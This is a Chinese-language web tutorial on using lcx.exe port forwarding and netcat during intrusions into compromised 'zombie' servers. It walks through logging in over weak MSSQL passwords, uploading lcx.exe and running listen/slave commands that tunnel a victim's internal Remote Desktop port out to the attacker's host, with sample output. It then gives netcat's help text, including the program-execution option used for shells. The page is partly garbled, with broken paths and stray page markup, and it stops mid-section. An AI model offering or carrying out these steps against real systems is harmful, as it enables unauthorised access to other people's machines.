lcx.exe、nc.exe、sc.exe入侵中的使用方法
时间:2023-10-07 05:07:56 点击:21

  lcx.exe的使用方法

  以前抓肉鸡都是通过1433弱口令,然后..

  但是发现很多服务器开了1433,3389,但是终端是连不上的,因为服务器本身是在内网,只对外开放了1433端口,幸好有lcx.exe这个东西,用sqltools.exe传倒服务器上...

  lcx.exe是个端口转发工具,相当于把肉鸡A上的3389端口转发到B机上,当然这个B机必须有外网IP.这样链接B机的3389度端口就相当于链接A机的3389.

  用法:如在本机B上监听 -listen 51 3389,在肉鸡A上运行-slave 本机ip 51 肉鸡ip 3389 那么在本地连127.0.0.1就可以连肉鸡的3389.第二条是本机转向。

  例:现在有一个ip为 201.1.1.1的1433弱.用端口扫描只发现开放了1433端口.用sqltools链接,dir 看一下 C:>DIR C:

  2004/09/17 10:32

autoAK

  2005/02/21 17:08 12,541 avgun.log。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。

  日语,显示不正常.呵呵.

  netstat -an 查看开放端口 TCP 0.0.0.0:3376 0.0.0.0:0 LISTENING

  TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING

  TCP 0.0.0.0:3791 0.0.0.0:0 LISTENING

  TCP 0.0.0.0:3877 0.0.0.0:0 LISTENING

  终端已开.看下IP

  ipconfig

  C:>ipconfig

  Windows 2000 IP Configuration Ethernet adapter

  Connection-specific DNS Suffix . :

  IP Address. . . . . . . . . . . . : 192.168.1.24

  Subnet Mask . . . . . . . . . . . : 255.255.255.0

  Default Gateway . . . . . . . . . : 192.168.1.1192这样的是内网了...

  现在可以用lcx.exe搞定了...

  上传lcx.exe到肉鸡...C:>dir lcx.exeC:WINNTsystem32

  2006/04/02 13:40 32,768 lcx.exe首先在自己机子的cmd下运行

  lcx.exe -listen 51 3389

  意思是监听51端口并转发到3389端口

  显示如下[+] Listening port 51 ......

  [+] Listen OK!

  [+] Listening port 3389 ......

  [+] Listen OK!

  [+] Waiting for Client on port:51 ......然后在肉鸡上运行 lcx.exe -slave 你的IP 51 201.1.1.1 3389

  201.1.1.1是我举例用的肉鸡IP.换成你的..运行以后本机监听端口就会收到信息.[+] Listening port 51 ......

  [+] Listen OK!

  [+] Listening port 3389 ......

  [+] Listen OK!

  [+] Waiting for Client on port:51 ......

  [+] Accept a Client on port 55 from 201.1.1.1 ......

  [+] Waiting another Client on port:3389....好了.现在在自己机子上链接 127.0.0.1 或者输你自己IP.

  发现进去的不是自己机子,(或者自己机子根本连不上),而是肉鸡A了!优点,搞定内网肉鸡.

  缺点,有点麻烦,而且每次都要通过sqltools先进行端口转发.当然也可以用反弹木马控制肉鸡了...

  +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

  nc.exe的使用方法

  1. Netcat 1.10 for NT - nc11nt.zip,原始英文信息

  2. Netcat 1.10 for NT 帮助信息

  3. Netcat 1.10 常用的命令格式

  4. 管理肉鸡,更改肉鸡设置

#p#副标题#e#

  5. 下载连接

  ######################################################################

  1. Netcat 1.10 for NT - nc11nt.zip

  ######################################################################

  Basic Features

  * Outbound or inbound connections, TCP or UDP, to or from any ports

  * Full DNS forward/reverse checking, with appropriate warnings

  * Ability to use any local source port

  * Ability to use any locally-configured network source address

  * Built-in port-scanning capabilities, with randomizer

  * Can read command line arguments from standard inputb

  * Slow-send mode, one line every N seconds

  * Hex dump of transmitted and received data

  * Ability to let another program service established

  connections

  * Telnet-options responder

  New for NT

  * Ability to run in the background without a console window

  * Ability to restart as a single-threaded server to handle a new

  connection

  ________________________________________________________________________

  Some of the features of netcat are:

  Outbound or inbound connections, TCP or UDP, to or from any ports

  Full DNS forward/reverse checking, with appropriate warnings

  Ability to use any local source port

  Ability to use any locally-configured network source address

  Built-in port-scanning capabilities, with randomizer

  Built-in loose source-routing capability

  Can read command line arguments from standard input

  Slow-send mode, one line every N seconds

  Optional ability to let another program service inbound connections

  Some of the potential uses of netcat:

  Script backends

  Scanning ports and inventorying services

  Backup handlers

  File transfers

  Server testing and simulation

  Firewall testing

  Proxy gatewaying

  Network performance testing

  Address spoofing tests

  Protecting X servers

  1001 other uses you`ll likely come up with

  Netcat + Encryption = Cryptcat

  对比win2000微软的telnet.exe和微软的tlntsvr.exe服务,连接的时候就可以看出来了.

  1.1 NC.EXE是一个非标准的telnet客户端程序,

  1.2 还有一个putty.exe客户端程序,提供四种连接模式

  -raw -telnet -rlogin -ssh.

  ######################################################################

  2. Netcat 1.10 for NT 帮助信息

  ######################################################################

  C:WINDOWSDesktop>nc -h

  [v1.10 NT]

  connect to somewhere: nc [-options] hostname port[s] [ports] ...

  listen for inbound: nc -l -p port [options] [hostname] [port]

  options:

  -d detach from console, background mode (后台模式)

  -e prog inbound program to exec [dangerous!!]

  -g gateway source-routing hop point[s], up to 8

  -G num source-routing pointer: 4, 8, 12, ...

  -h this cruft (本帮助信息)

  -i secs delay interval for lines sent, ports scanned (延迟时间)

  -l listen mode, for inbound connects (监听模式,等待连接)

  -L listen harder, re-listen on socket close (连接关闭后,仍然继续监听)

  -n numeric-only IP addresses, no DNS (ip数字模式,非dns解析)

  -o file hex dump of traffic (十六进制模式输出文件,三段)

  -p port local port number (本地端口)

  -r randomize local and remote ports (随机本地远程端口)

  -s addr local source address (本地源地址)

  -t answer TELNET negotiation

  -u UDP mode

  -v verbose [use twice to be more verbose] (-vv 更多信息)

  -w secs timeout for connects and final net reads

  -z zero-I/O mode [used for scanning] (扫描模式,-vv)

  port numbers can be individual or ranges: m-n [inclusive]

#p#副标题#e#

  ##########

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